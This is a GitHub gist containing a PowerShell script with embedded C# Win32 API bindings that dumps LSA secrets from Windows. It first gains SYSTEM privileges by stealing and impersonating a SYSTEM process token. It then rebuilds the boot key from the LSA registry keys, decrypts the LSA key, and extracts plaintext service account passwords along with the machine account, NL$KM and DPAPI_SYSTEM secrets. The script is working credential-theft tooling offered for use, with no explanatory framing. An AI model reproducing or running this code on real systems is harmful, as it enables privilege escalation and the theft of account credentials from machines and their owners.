Last active
May 20, 2018 02:28
-
-
Save 0xbadjuju/6afbc95d8a5488752e19b87cd1567762 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$Win32Native = @" | |
using Microsoft.Win32; | |
using System; | |
using System.Runtime.InteropServices; | |
public class Kernel32 | |
{ | |
const UInt32 TOKEN_ASSIGN_PRIMARY = 0x0001; | |
const UInt32 TOKEN_DUPLICATE = 0x0002; | |
const UInt32 TOKEN_IMPERSONATE = 0x0004; | |
const UInt32 TOKEN_QUERY = 0x0008; | |
public const UInt32 TOKEN_ALT = (TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY); | |
[DllImport("kernel32.dll")] | |
public static extern IntPtr OpenProcess(int access, bool inheritHandler, uint processId); | |
[DllImport("kernel32.dll", SetLastError=true)] | |
public static extern Boolean OpenProcessToken(IntPtr hProcess, UInt32 dwDesiredAccess, out IntPtr hToken); | |
[DllImport("kernel32.dll", SetLastError=true)] | |
public static extern Boolean CloseHandle(IntPtr hProcess); | |
} | |
public class Advapi32 | |
{ | |
[DllImport("advapi32.dll", SetLastError=true)] | |
public static extern Boolean DuplicateTokenEx(IntPtr hExistingToken, UInt32 dwDesiredAccess, IntPtr lpTokenAttributes, Int32 ImpersonationLevel, Int32 TokenType, out IntPtr phNewToken); | |
[DllImport("advapi32.dll", SetLastError=true)] | |
public static extern Boolean ImpersonateLoggedOnUser(IntPtr hToken); | |
[DllImport("advapi32.dll", SetLastError=true)] | |
public static extern UInt32 RegCloseKey(IntPtr hKey); | |
[DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError=true)] | |
public static extern UInt32 RegOpenKeyEx(IntPtr hKey, String subKey, Int32 ulOptions, Int32 samDesired, out IntPtr hkResult); | |
[DllImport("advapi32.dll", CharSet = CharSet.Ansi, SetLastError=true)] | |
public static extern UInt32 RegQueryInfoKey(IntPtr hKey, System.Text.StringBuilder lpClass, ref UInt32 lpcchClass, IntPtr lpReserved, out UInt32 lpcSubkey, out UInt32 lpcchMaxSubkeyLen, out UInt32 lpcchMaxClassLen, out UInt32 lpcValues, out UInt32 lpcchMaxValueNameLen, out UInt32 lpcbMaxValueLen, IntPtr lpSecurityDescriptor, IntPtr lpftLastWriteTime); | |
[DllImport("advapi32.dll", SetLastError=true)] | |
public static extern UInt32 RegQueryValueEx(IntPtr hKey, String lpValueName, Int32 lpReserved, ref RegistryValueKind lpType, IntPtr lpData, ref Int32 lpcbData); | |
} | |
"@ | |
Add-Type -TypeDefinition $Win32Native | |
function Get-System () { | |
[cmdletbinding()] | |
Param() | |
$SystemSID = New-Object System.Security.Principal.SecurityIdentifier([System.Security.Principal.WellKnownSidType]::LocalSystemSid, $null); | |
$SystemAccountName = $SystemSID.Translate([System.Security.Principal.NTAccount]).Value.ToString(); | |
if ($SystemAccountName -eq [System.Security.Principal.WindowsIdentity]::GetCurrent().Name) | |
{ | |
Write-Verbose "Already Operating As $SystemAccountName" | |
return; | |
} | |
$procs = Get-WmiObject -Class Win32_Process | |
foreach($proc in $procs) | |
{ | |
$owner = $proc.GetOwner() | |
$accountName = $owner.Domain+"\"+$owner.User | |
if ($SystemAccountName -eq $accountName) | |
{ | |
$hProcess = [Kernel32]::OpenProcess([UInt32]0x438, $true, [UInt32]$proc.ProcessId); | |
if ($hProcess -eq [IntPtr]::Zero) | |
{ | |
continue; | |
} | |
Write-Verbose "$($proc.ProcessName) $($proc.ProcessId)"; | |
Write-Verbose "Process Handle: 0x$($hProcess.ToString("X4"))"; | |
$hExistingToken = New-Object IntPtr; | |
if (-not [Kernel32]::OpenProcessToken($hProcess, [Kernel32]::TOKEN_ALT, [ref] $hExistingToken)) | |
{ | |
continue; | |
} | |
Write-Verbose "Token Handle: 0x$($hExistingToken.ToString("X4"))"; | |
$null = [Kernel32]::CloseHandle($hProcess); | |
$phNewToken = New-Object IntPtr; | |
if (-not [advapi32]::DuplicateTokenEx($hExistingToken, 0x02000000, [IntPtr]::Zero, 2, 1, [ref] $phNewToken)) | |
{ | |
continue; | |
} | |
Write-Verbose "Duplicate Token: 0x$($phNewToken.ToString("X4"))"; | |
$null = [Kernel32]::CloseHandle($hExistingToken); | |
if (-not [advapi32]::ImpersonateLoggedOnUser($phNewToken)) | |
{ | |
continue; | |
} | |
$null = [Kernel32]::CloseHandle($phNewToken); | |
Write-Verbose "Operating As: $(([System.Security.Principal.WindowsIdentity]::GetCurrent()).Name)"; | |
break; | |
} | |
} | |
} | |
function Invoke-ReadRegKeyInfo | |
{ | |
[cmdletbinding()] | |
Param( | |
[Parameter(Mandatory=$True, HelpMessage="Registry Key to Open.")] | |
[String]$key | |
) | |
$HKeyLocalMachine = New-Object IntPtr(2147483650); | |
$hKey = New-Object IntPtr; | |
$null = [Advapi32]::RegOpenKeyEx($HKeyLocalMachine, $key, 0, 0x1, [ref] $hKey); | |
if ([System.IntPtr]::Zero -eq $hKey) | |
{ | |
Write-Warning $(New-Object System.ComponentModel.Win32Exception([System.Runtime.InteropServices.Marshal]::GetLastWin32Error()).Message) | |
return $null; | |
} | |
$lpcchClass = [UInt32] 0; | |
$lpcSubkey = [UInt32] 0; | |
$lpcchMaxSubkeyLen = [UInt32] 0; | |
$lpcchMaxClassLen = [UInt32] 0; | |
$lpcValues = [UInt32] 0; | |
$lpcchMaxValueNameLen = [UInt32] 0; | |
$lpcbMaxValueLen = [UInt32] 0; | |
$null = [Advapi32]::RegQueryInfoKey($hKey, $null, [ref] $lpcchClass, [IntPtr]::Zero, [ref] $lpcSubkey, [ref] $lpcchMaxSubkeyLen, [ref] $lpcchMaxClassLen, [ref] $lpcValues, [ref] $lpcchMaxValueNameLen, [ref] $lpcbMaxValueLen, [System.IntPtr]::Zero, [System.IntPtr]::Zero); | |
if ($lpcchClass -eq 0) | |
{ | |
Write-Warning $(New-Object System.ComponentModel.Win32Exception([System.Runtime.InteropServices.Marshal]::GetLastWin32Error()).Message) | |
return $null; | |
} | |
$lpcchClass++; | |
$lpClass = New-Object System.Text.StringBuilder($lpcchClass); | |
$null = [Advapi32]::RegQueryInfoKey($hKey, $lpClass, [ref] $lpcchClass, [IntPtr]::Zero, [ref] $lpcSubkey, [ref] $lpcchMaxSubkeyLen, [ref] $lpcchMaxClassLen, [ref] $lpcValues, [ref] $lpcchMaxValueNameLen, [ref] $lpcbMaxValueLen, [System.IntPtr]::Zero, [System.IntPtr]::Zero); | |
if ($lpClass.ToString().Length -eq 0) | |
{ | |
Write-Warning $(New-Object System.ComponentModel.Win32Exception([System.Runtime.InteropServices.Marshal]::GetLastWin32Error()).Message) | |
return $null; | |
} | |
$null = [Advapi32]::RegCloseKey($hKey); | |
return $lpClass.ToString(); | |
} | |
function Invoke-ReadRegKey() | |
{ | |
[cmdletbinding()] | |
Param( | |
[Parameter(Mandatory=$True, HelpMessage="Registry Key to Open.")] | |
[String]$key, | |
[Parameter(Mandatory=$False, HelpMessage="Registry Key Value to Read.")] | |
[String]$value = "" | |
) | |
$HKeyLocalMachine = New-Object IntPtr(2147483650); | |
$hKey = New-Object IntPtr; | |
$null = [Advapi32]::RegOpenKeyEx($HKeyLocalMachine, $key, 0, 0x1, [ref] $hKey); | |
if ([System.IntPtr]::Zero -eq $hKey) | |
{ | |
Write-Warning "RegOpenKeyEx"; | |
Write-Warning $(New-Object System.ComponentModel.Win32Exception([System.Runtime.InteropServices.Marshal]::GetLastWin32Error()).Message) | |
return $null; | |
} | |
$type = [Microsoft.Win32.RegistryValueKind]::Unknown; | |
$size = 0; | |
$null = [Advapi32]::RegQueryValueEx($hKey, $value, 0, [ref] $type, [IntPtr]::Zero, [ref] $size); | |
if (0 -eq $size) | |
{ | |
Write-Warning "RegQueryValueEx1"; | |
Write-Warning $(New-Object System.ComponentModel.Win32Exception([System.Runtime.InteropServices.Marshal]::GetLastWin32Error()).Message) | |
return $null; | |
} | |
$pResult = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($size); | |
$null = [Advapi32]::RegQueryValueEx($hKey, $value, 0, [ref] $type, $pResult, [ref] $size); | |
if (0 -eq $size) | |
{ | |
Write-Warning "RegQueryValueEx2"; | |
Write-Warning $(New-Object System.ComponentModel.Win32Exception([System.Runtime.InteropServices.Marshal]::GetLastWin32Error()).Message) | |
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($pResult); | |
return $null; | |
} | |
$null = [Advapi32]::RegCloseKey($hKey); | |
$Result = $null; | |
if ($type -eq [Microsoft.Win32.RegistryValueKind]::Binary -or $type -eq [Microsoft.Win32.RegistryValueKind]::Unknown) | |
{ | |
$Result = New-Object Byte[]($size); | |
$null = [System.Runtime.InteropServices.Marshal]::Copy($pResult, $Result, 0, $size) | |
} | |
elseif ($type -eq [Microsoft.Win32.RegistryValueKind]::String) | |
{ | |
$Result = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($pResult) | |
} | |
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($pResult); | |
return $Result; | |
} | |
function Get-BootKey | |
{ | |
[cmdletbinding()] | |
Param() | |
[System.Int32[]] $PermutationMatrix = @(0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7)#@( 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ); | |
$StrBootKey = New-Object System.Text.StringBuilder; | |
$StrBootKey.Append($(Invoke-ReadRegKeyInfo('SYSTEM\CurrentControlSet\Control\Lsa\JD'))) | Out-Null | |
$StrBootKey.Append($(Invoke-ReadRegKeyInfo('SYSTEM\CurrentControlSet\Control\Lsa\Skew1'))) | Out-Null | |
$StrBootKey.Append($(Invoke-ReadRegKeyInfo('SYSTEM\CurrentControlSet\Control\Lsa\GBG'))) | Out-Null | |
$StrBootKey.Append($(Invoke-ReadRegKeyInfo('SYSTEM\CurrentControlSet\Control\Lsa\Data'))) | Out-Null | |
$length = $StrBootKey.Length; | |
if (0 -eq $length) | |
{ | |
return; | |
} | |
$BootKey = New-Object Byte[] $($length/2); | |
$j = 0; | |
$temp = New-Object System.Text.StringBuilder; | |
for ($i = 0; $i -lt $StrBootKey.Length; $i+=2) | |
{ | |
$temp.Append($StrBootKey[$i].ToString()) | Out-Null | |
$temp.Append($StrBootKey[$i+1].ToString()) | Out-Null | |
$BootKey[$j++] = [System.Convert]::ToByte($temp.ToString(), 16); | |
$temp.Clear() | Out-Null | |
} | |
$StrBootKey = $null; | |
$BootKeyPermutation = New-Object Byte[] ($BootKey.Length) | |
for ($k = 0; $k -lt $BootKey.Length; $k++) | |
{ | |
$BootKeyPermutation[$k] = [Byte] $BootKey[$PermutationMatrix[$k]]; | |
} | |
return $BootKeyPermutation; | |
} | |
function Merge-Bytes | |
{ | |
[cmdletbinding()] | |
Param( | |
[Parameter(Mandatory=$True, HelpMessage="Value 1.")] | |
[AllowEmptyCollection()] | |
[Byte[]]$Value1, | |
[Parameter(Mandatory=$True, HelpMessage="Value 2.")] | |
[Byte[]]$Value2 | |
) | |
$Size = $Value1.Length + $Value2.Length; | |
$Temp = New-Object Byte[]($Size); | |
$MemoryStream = New-Object System.IO.MemoryStream($Temp, 0, $Size, $True, $True); | |
$MemoryStream.Write($Value1, 0, $Value1.Length); | |
$MemoryStream.Write($Value2, 0, $Value2.Length); | |
$CombinedBytes = $MemoryStream.GetBuffer(); | |
return $CombinedBytes; | |
} | |
function Unprotect-Lsa | |
{ | |
[cmdletbinding()] | |
Param( | |
[Parameter(Mandatory=$True, HelpMessage="Value to Decrypt.")] | |
[Byte[]]$Secret, | |
[Parameter(Mandatory=$True, HelpMessage="Decryption Key.")] | |
[Byte[]]$Key | |
) | |
[Byte[]] $CombinedKey = $Key; | |
$i = 28; $j = $i + 32 - 1; | |
[Byte[]] $SplicedSecret = $Secret[$i..$j]; | |
$sha256 = New-Object System.Security.Cryptography.SHA256Managed; | |
for ($i = 0; $i -lt 1000; $i++) | |
{ | |
$CombinedKey = Merge-Bytes -Value1 $CombinedKey -Value2 $SplicedSecret | |
} | |
$Hash = $sha256.ComputeHash($CombinedKey); | |
$PlaintextSecret = New-Object Byte[](0); | |
for ($i = 60; $i -lt $Secret.Length; $i += 16) | |
{ | |
$AES = New-Object System.Security.Cryptography.AesManaged; | |
$AES.Key = $Hash; | |
$AES.Mode = [System.Security.Cryptography.CipherMode]::CBC; | |
$AES.IV = @(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0); | |
$AES.Padding = [System.Security.Cryptography.PaddingMode]::Zeros; | |
[System.Security.Cryptography.ICryptoTransform] $Decryptor = $AES.CreateDecryptor(); | |
$PlaintextBytes = $Decryptor.TransformFinalBlock($Secret, $i, 16); | |
$PlaintextSecret = Merge-Bytes -Value1 $PlaintextSecret -Value2 $PlaintextBytes | |
} | |
return $PlaintextSecret; | |
} | |
function local:Get-LsaKey | |
{ | |
$BootKey = Get-BootKey; | |
$StrBootKey = $([System.BitConverter]::ToString($BootKey).Replace("-","")) | |
Write-Verbose "BootKey: $StrBootKey"; | |
[Byte[]] $PolEKList = Invoke-ReadRegKey -Key 'SECURITY\Policy\PolEKList'; | |
[Byte[]] $LsaKey = Unprotect-Lsa -Secret $PolEKList -Key $BootKey; | |
$i = 68; $j = $i + 32 - 1; | |
return $LsaKey[$i..$j] | |
} | |
function Format-Password | |
{ | |
[cmdletbinding()] | |
Param( | |
[Parameter(Mandatory=$True, HelpMessage="Value to Decrypt.")] | |
[Byte[]] $DecryptedSecret | |
) | |
$Length = [Int32]$DecryptedSecret[0]; | |
if ($Length -eq 0) | |
{ | |
return "<Blank_Password>"; | |
} | |
else | |
{ | |
$i = 16; $j = $i + $Length; | |
[Byte[]] $PasswordText = $DecryptedSecret[$i..$j]; | |
[String] $Password = [System.Text.Encoding]::Unicode.GetString($PasswordText); | |
return $Password; | |
} | |
} | |
function Get-LsaSecrets | |
{ | |
[cmdletbinding()] | |
Param() | |
Get-System; | |
$SecretSubKeys = [Microsoft.Win32.Registry]::LocalMachine.OpenSubKey('SECURITY\Policy\Secrets').GetSubKeyNames(); | |
if ($SecretSubKeys.Length -eq 0) | |
{ | |
return; | |
} | |
$LsaKey = Get-LsaKey; | |
$StrLsaKey = [System.BitConverter]::ToString($LsaKey).Replace("-","") | |
Write-Verbose "LSA Key: $StrLsaKey" | |
$LsaTable = @() | |
foreach ($Secret in $SecretSubKeys) | |
{ | |
$ProtectedSecret = Invoke-ReadRegKey -Key "SECURITY\\Policy\\Secrets\\$Secret\\CurrVal" | |
$DecryptedSecret = Unprotect-Lsa -Secret $ProtectedSecret -Key $LsaKey | |
Write-Verbose $Secret; | |
if ($Secret -eq "`$MACHINE.ACC" -or $Secret -eq "NL`$KM" -or $Secret -eq "DPAPI_SYSTEM") | |
{ | |
$ServiceName = $Secret; | |
$i = 16; $j = $i + $DecryptedSecret[0]; | |
$Password = [System.BitConverter]::ToString($DecryptedSecret[$i..$j]); | |
} | |
elseif ($Secret.Substring(0, 4) -eq "_SC_") | |
{ | |
$i = 4; $j = $Secret.Length - $i; | |
$ServiceName = $Secret.SubString($i,$j); | |
[String] $UserName = Invoke-ReadRegKey -key "SYSTEM\\CurrentControlSet\\Services\\$ServiceName" -Value "ObjectName" | |
$Password = Format-Password -DecryptedSecret $DecryptedSecret; | |
} | |
else | |
{ | |
$UserName = $Secret; | |
$Password = Format-Password -DecryptedSecret $DecryptedSecret; | |
} | |
$LsaTable += New-Object PSCustomObject -Property @{ | |
ServiceName = $ServiceName | |
UserName = $UserName | |
Password = $Password | |
} | |
$ServiceName = $null; $UserName = $null; $Password = $null; | |
} | |
return $LsaTable; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment